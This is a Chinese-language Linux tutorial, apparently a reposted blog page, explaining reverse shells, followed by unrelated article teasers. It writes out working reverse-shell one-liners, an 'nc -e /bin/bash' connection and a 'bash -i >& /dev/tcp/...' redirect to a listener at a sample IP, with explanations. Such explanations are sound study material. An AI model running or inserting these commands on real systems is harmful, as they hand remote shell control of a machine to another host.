Linux - 反弹Shell

概念

Shell 估计大家都不陌生,简单来说,就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。

那反弹 Shell ( Reverse Shell)则是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。

比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。

适用场景

通常情况下如果想用 ssh 等命令来实现 A 控制 B,首先得明确 B 的 sshd 地址或者端口,但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:

  • A 虽然有公网 IP,但 B 是一个处于内网的机器,A 就没法直接连到 B 上。
  • B 上开了防火墙或者安全组限制,sshd 的服务端口 22 被封闭了。
  • B 是一台拨号主机,其 IP 地址经常变动。
  • 假如 B 被攻击了,我们想让 B 向 A 汇报自己的状况,那自然就需要 B 主动去连接 A。

如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。

实战

这里我们一共需要两台主机:

  • A 是控制端,可以处于公网之中,也可以和 B 处于一个局域网中,总之能让 B 找到 A 就行。
  • B 是被控端,可以处在局域网之中。

在开始之前我们需要在控制端用到 nc 命令来实现端口监听,CentOS 系列系统通过 yum install -y nc 即可。

接着,我们在 A 上执行如下命令:

nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

在这里插入图片描述

这样就表明 A 上正在监听 32767 端口的连接了。

这时候,我们可以在被控端通过如下两种方式连接到 A:

  1. 在 B 上通过 nc 连接到 A

假如 A 的 IP 是 111.112.113.114,那么命令如下:

nc 111.112.113.114 32767 -e /bin/bash

注意:你在运行的时候需要替换成 A 的真实 IP 和端口。

运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:

cat /etc/redhat-release
uname -a

然后就可以得到 B 的系统版本信息了。

如图所示:

在这里插入图片描述

  1. 在 B 上通过 bash 连接到 A

命令如下:

bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大致解释下:

  • bash -i 就是产生一个 bash 交互环境
  • >& 可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方
  • /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址,因为 Linux 环境中所有内容的定义都是以文件的形式存在的,指定这个地址就是让主机和目标主机建立一个 TCP 连接。
  • 0>&1可以将标准输入和标准输出相结合,重定向给前面标准输出的内容。

通过这样的命令,我们就可以就是将 B的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:

在这里插入图片描述

注意

使用时若 A 主机开启防火墙,需要对监听端口放行,否则会导致 B 连不上A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/521554.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

震撼开源!李开复零一万物90亿参数Yi模型驾到,编码数学全能助力,你敢来挑战吗?

今天我要和大家分享一个关于Yi系列模型的新动态。 你们还记得那个由01.AI从零开始训练的开源大型语言模型吗? Yi系列模型在庞大的3T多语言语料库上训练而成,实力不容小觑。 最近有个好消息,Yi-9B模型已经开源啦! 这是Yi系列中…

猫咪挑食是因为什么?解决猫咪挑食效果好的主食冻干推荐

在如今,养猫人士几乎都将自己的小猫咪视作珍宝,宠溺有加。但这样的宠爱有时会导致猫咪出现挑食的问题。那么,猫咪挑食是因为什么?我们该如何应对这种情况呢? 今天为大家分析猫咪挑食是因为什么,再为大家分…

SqlServer 默认值约束示例

创建表,创建时指定 money 字段默认值为0.00; create table t_24 ( account varchar(19) not null, id_card char(18) not null, name varchar(20) not null, money decimal(16,2) default 0.00 not null ); 录入2条记录,money字…

[力扣 Hot100]Day45 二叉树的右视图

题目描述 给定一个二叉树的 根节点 root&#xff0c;想象自己站在它的右侧&#xff0c;按照从顶部到底部的顺序&#xff0c;返回从右侧所能看到的节点值。 出处 思路 层序遍历&#xff0c;选择每层的最后一个。 代码 class Solution { public:vector<int> rightSi…

[机器视觉]halcon十二 条码识别、字符识别之字符识别

[机器视觉]halcon十二 条码识别、字符识别之字符识别 流程 获取图像-》创建模型-》查找文本-》清除模型 效果 算子 create_text_model_reader &#xff1a; 创建文本模型 find_text : 查找文本 get_text_result &#xff1a;获取文本内容 set_text_model_param : 设置文本模板…

STM32CubeIDE基础学习-STM32CubeIDE软件配置下载器方法

STM32CubeIDE基础学习-STM32CubeIDE软件配置下载器方法 文章目录 STM32CubeIDE基础学习-STM32CubeIDE软件配置下载器方法前言第1章 配置ST-LINK下载器第2章 配置DAP下载器总结 前言 这个软件编译完之后&#xff0c;可以使用下载器进行在线下载程序或仿真调试程序&#xff0c;也…

Java实现单个参数读取多级JSON信息(代码)

需求 Java方法实现以data.info.author.name,value格式做传入参数读取json深层次的信息&#xff0c;而不用一级一级地去遍历Json对象。 代码实现 方法代码 import com.alibaba.fastjson2.JSON; import com.alibaba.fastjson2.JSONObject;public static String getValueByPat…

【C++】十大排序算法之 插入排序 希尔排序

本次介绍内容参考自&#xff1a;十大经典排序算法&#xff08;C实现&#xff09; - fengMisaka - 博客园 (cnblogs.com) 排序算法是《数据结构与算法》中最基本的算法之一。 十种常见排序算法可以分为两大类&#xff1a; 比较类排序&#xff1a;通过比较来决定元素间的相对次序…

mysql中insert … select锁范围

1、执行 insert … select 的时候&#xff0c;对目标表也不是锁全表&#xff0c;而是只锁住需要访问的资源。 例如&#xff0c; CREATE TABLE t (id int(11) NOT NULL AUTO_INCREMENT,c int(11) DEFAULT NULL,d int(11) DEFAULT NULL,PRIMARY KEY (id),UNIQUE KEY c (c) ) EN…

针对ETC系统的OBE-SAM模块设计方案

ETC&#xff08;Electrical Toll Collection&#xff09;不停车收费是目前世界上最先进的路桥收费方式。通过安装在车辆挡风玻璃上的车载单元与安装在收费站 ETC 车道上的路侧单元之间的微波专用短程通讯&#xff0c;利用计算机联网技术与银行进行后台结算处理&#xff0c;从而…

2.3_11 管程

文章目录 2.3_11 管程&#xff08;一&#xff09;为什么要引入管程&#xff08;二&#xff09;管程的定义和基本操作&#xff08;三&#xff09;拓展1&#xff1a;用管程解决生产者消费者问题&#xff08;四&#xff09;Java中类似于管程的机制 总结 2.3_11 管程 &#xff08;一…

数位dp 笔记

小技巧1:求区间[X, Y]可以转换为求F(Y) - F(X-1) F(X)表示0~X中满足条件的数字个数 小技巧2&#xff1a;可以用树的形式来看 遍历最高位&#xff0c;每一位分为两种情况&#xff1a;未达到上界和达到上界 如果走到右边最底端需加1 度的数量 求给定区间 [X,Y]中满足下列条件的…